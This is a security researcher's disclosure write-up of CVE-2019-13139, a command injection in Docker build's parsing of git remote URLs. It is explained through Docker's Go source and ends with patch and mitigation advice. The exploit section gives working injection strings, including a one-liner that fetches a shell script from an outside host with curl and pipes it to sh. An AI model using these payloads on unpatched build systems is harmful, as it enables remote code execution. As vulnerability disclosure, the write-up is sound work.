CVE-2019-13139 - Docker build code execution

Earlier in the year, while doing some research for my talk at Troopers 2019, in which I examined build systems and the how git can cause security issues, I found a git related vulnerability in Docker. This vulnerability has since been assigned CVE-2019-13139 and was patched in the Docker engine update 18.09.4.

The issue is a relative straight forward command injection, however, what possibly makes it a little more interesting is that it occurs in a Go code base. It is typically assumed that the Go os/exec package does not suffer from command injection, this is largely true but just like other “safe” command execution APIs such as Python’s subprocess, there are edge-cases in-which seemingly secure code can still lead to command injection.

The Vulnerability

Finding the vulnerability was surprisingly easy. As part of my talk I wanted to see which popular tools relied (or shelled out to) git and were vulnerable to CVE-2018-11235. Docker build offers the option to supply a remote URL as the build path/context and this remote can be a git repository. The first thing I noticed while looking at the documentation was

Note: If the URL parameter contains a fragment the system will recursively clone the repository and its submodules using a git clone --recursive command.

This clearly showed that Docker was vulnerable to CVE-2018-11235, which I also demonstrated here:

https://twitter.com/_staaldraad/status/1040315186081669120?s=20.

The second thing that stood out was that there were multiple options for supplying the URL of the remote git repository. And it is possible to supply a branch and directory to use:

$ docker build https://github.com/docker/rootfs.git#container:docker
$ docker build git@github.com:docker/rootfs.git#container:docker
$ docker build git://github.com/docker/rootfs.git#container:docker

In this example all the URLs refer to a remote repository on GitHub and use the container branch and the docker directory as the build context. This got me wondering about the code behind this mechanism and I had a look at the source-code.

Looking at the code below, the first thing that happens is that the remoteURL is parsed and turned into a gitRepo struct, next the fetch arguments are extracted. A temporary directory is created as root, a new git repository is created in this temp directory and the remote for the repository is set. The remote is “fetched”, the repository is checked out and finally the submodules are initialised.

 
func Clone(remoteURL string) (string, error) {
	repo, err := parseRemoteURL(remoteURL)

	if err != nil {
		return "", err
	}

	return cloneGitRepo(repo)
}

func cloneGitRepo(repo gitRepo) (checkoutDir string, err error) {
	fetch := fetchArgs(repo.remote, repo.ref)

	root, err := ioutil.TempDir("", "docker-build-git")
	if err != nil {
		return "", err
	}

	defer func() {
		if err != nil {
			os.RemoveAll(root)
		}
	}()

	if out, err := gitWithinDir(root, "init"); err != nil {
		return "", errors.Wrapf(err, "failed to init repo at %s: %s", root, out)
	}

	// Add origin remote for compatibility with previous implementation that
	// used "git clone" and also to make sure local refs are created for branches
	if out, err := gitWithinDir(root, "remote", "add", "origin", repo.remote); err != nil {
		return "", errors.Wrapf(err, "failed add origin repo at %s: %s", repo.remote, out)
	}

	if output, err := gitWithinDir(root, fetch...); err != nil {
		return "", errors.Wrapf(err, "error fetching: %s", output)
	}

	checkoutDir, err = checkoutGit(root, repo.ref, repo.subdir)
	if err != nil {
		return "", err
	}

	cmd := exec.Command("git", "submodule", "update", "--init", "--recursive", "--depth=1")
	cmd.Dir = root
	output, err := cmd.CombinedOutput()
	if err != nil {
		return "", errors.Wrapf(err, "error initializing submodules: %s", output)
	}

	return checkoutDir, nil
}

At this point there is no obvious issue. The git commands are all executed through the gitWithinDir function. Having a look at this, things start looking a little more interesting:

func gitWithinDir(dir string, args ...string) ([]byte, error) {
	a := []string{"--work-tree", dir, "--git-dir", filepath.Join(dir, ".git")}
	return git(append(a, args...)...)
}

func git(args ...string) ([]byte, error) {
	return exec.Command("git", args...).CombinedOutput()
}

The exec.Command() function takes a hardcoded “binary”, "git", as the first argument and the remaining arguments can be zero or more strings. This doesn’t lead to command execution directly, since the arguments are all “escaped” and shell injection does not work in the os/exec package.

What isn’t protected against is command injection in the command that is being executed by exec.Command(). If one or more arguments passed into the git binary are used as sub-commands in git there might still be the possibility of command execution. This is exactly what @joernchen exploited in CVE-2018-17456 where he got command execution in Git submodules by injecting a path of -u./payload, where -u tells git which binary to use for the upload-pack command. If it is possible to pass a similar payload into the Docker build command, it might just be possible to get command execution.

Back to parsing the Docker source-code, when looking at the parseRemoteURL function it can be seen that the supplied URL is split up depending on the URI

func parseRemoteURL(remoteURL string) (gitRepo, error) {
	repo := gitRepo{}

	if !isGitTransport(remoteURL) {
		remoteURL = "https://" + remoteURL
	}

	var fragment string
	if strings.HasPrefix(remoteURL, "git@") {
		// git@.. is not an URL, so cannot be parsed as URL
		parts := strings.SplitN(remoteURL, "#", 2)

		repo.remote = parts[0]
		if len(parts) == 2 {
			fragment = parts[1]
		}
		repo.ref, repo.subdir = getRefAndSubdir(fragment)
	} else {
		u, err := url.Parse(remoteURL)
		if err != nil {
			return repo, err
		}

		repo.ref, repo.subdir = getRefAndSubdir(u.Fragment)
		u.Fragment = ""
		repo.remote = u.String()
	}
	return repo, nil
}

func getRefAndSubdir(fragment string) (ref string, subdir string) {
	refAndDir := strings.SplitN(fragment, ":", 2)
	ref = "master"
	if len(refAndDir[0]) != 0 {
		ref = refAndDir[0]
	}
	if len(refAndDir) > 1 && len(refAndDir[1]) != 0 {
		subdir = refAndDir[1]
	}
	return
}

And the repo.ref and repo.subdir are easily controlled by us. The getRefAndSubdir function splits the supplied string into two parts, using the : as a separator. These values are then passed into the fetchArgs function;

func fetchArgs(remoteURL string, ref string) []string {
	args := []string{"fetch"}

	if supportsShallowClone(remoteURL) {
		args = append(args, "--depth", "1")
	}

	return append(args, "origin", ref)
}

Can you spot the issue? The ref string is appended to the args list for the fetch command, without any validation to ensure it is a valid refspec. This means if a ref such as -u./payload could be supplied it would then be passed into the git fetch command as an argument.

Finally the git fetch command as executed through

if output, err := gitWithinDir(root, fetch...); err != nil {
		return "", errors.Wrapf(err, "error fetching: %s", output)
	}

Exploit

From the above it is known that the ref needs to be used to inject into the final git fetch command. The ref comes from the #container:docker string used to provide the branch and folder to use for the Docker context. Since the strings.splitN() function used splits on : anything between the # and : will get used as the ref. The other good news is that because the os/exec package treats each string as an argument to be passed into execv, if a supplied string contains a space, it is treated as if it was quoted. Thus #echo 1:two would result in the final command git fetch origin "echo 1" being executed. Not very helpful but half-way to being an exploit.

The next part is identifying one or more arguments that are treated as subcommands when passed into git fetch. For this an examination of the git-fetch documentation is required: https://git-scm.com/docs/git-fetch. It turns out that there is an --upload-pack option that would be ideal:

--upload-pack <upload-pack> When given, and the repository to fetch from is handled by git fetch-pack, --exec=<upload-pack> is passed to the command to specify non-default path for the command run on the other end.

The only downside with this is that it is used “for the command run on the other end”, thus on the server-side. This is also ignored when the git URL is http:// or https://. Fortunately the Docker build command also allows git URLs to be supplied in the form git@. The git@ is usually treated as the user to use for git to clone via SSH, but only if the supplied URL contains a :, more concisely: git@remote.server.name:owner/repo.git. When the : isn’t present, git parses the URL as a local path. Since it is a local path, the supplied --upload-pack would end up being used as the binary to execute for the git fetch-pack .

Thus, all the stars are aligned and a URL that causes command execution can be constructed.

docker build "git@g.com/a/b#--upload-pack=sleep 30;:"

This will result in the following steps being executed:

$ git init
$ git remote add git@g.com/a/b
$ git fetch origin "--upload-pack=sleep 30; git@g.com/a/b"

Notice that the remote has been appended into the --upload-pack command and therefore the semi-colon (;) is required to close out the command, otherwise git@g.com/a/b would be parsed as a second argument for the sleep command. Without the semi-colon, you can see the “sleep: invalid time interval ‘git@gcom/a/b.git’”:

$ docker build "git@gcom/a/b.git#--upload-pack=sleep 5:"
unable to prepare context: unable to 'git clone' to temporary context directory: error fetching: sleep: invalid time interval ‘git@gcom/a/b.git’
Try 'sleep --help' for more information.

This can be taken further and turned into proper command execution with (adding in the second # cleans up the output so that the curl command doesn’t show up):

docker build "git@github.com/meh/meh#--upload-pack=curl -s sploit.conch.cloud/pew.sh|sh;#:"
Command Execution

Command Execution

Fix

This could be a “remote” command execution issue in build environments where an attacker has control over the build path issued to docker build. The usual docker build . -t my-container pattern is not vulnerable to this and most users of Docker should not be affected by this issue.

This was reported to Docker back in February and a patch was deployed at the end of March in the 18.09.4 update. Ensure your Docker engine is up to date and if possible avoid using remote context’s for builds, especially if supplied by third-parties.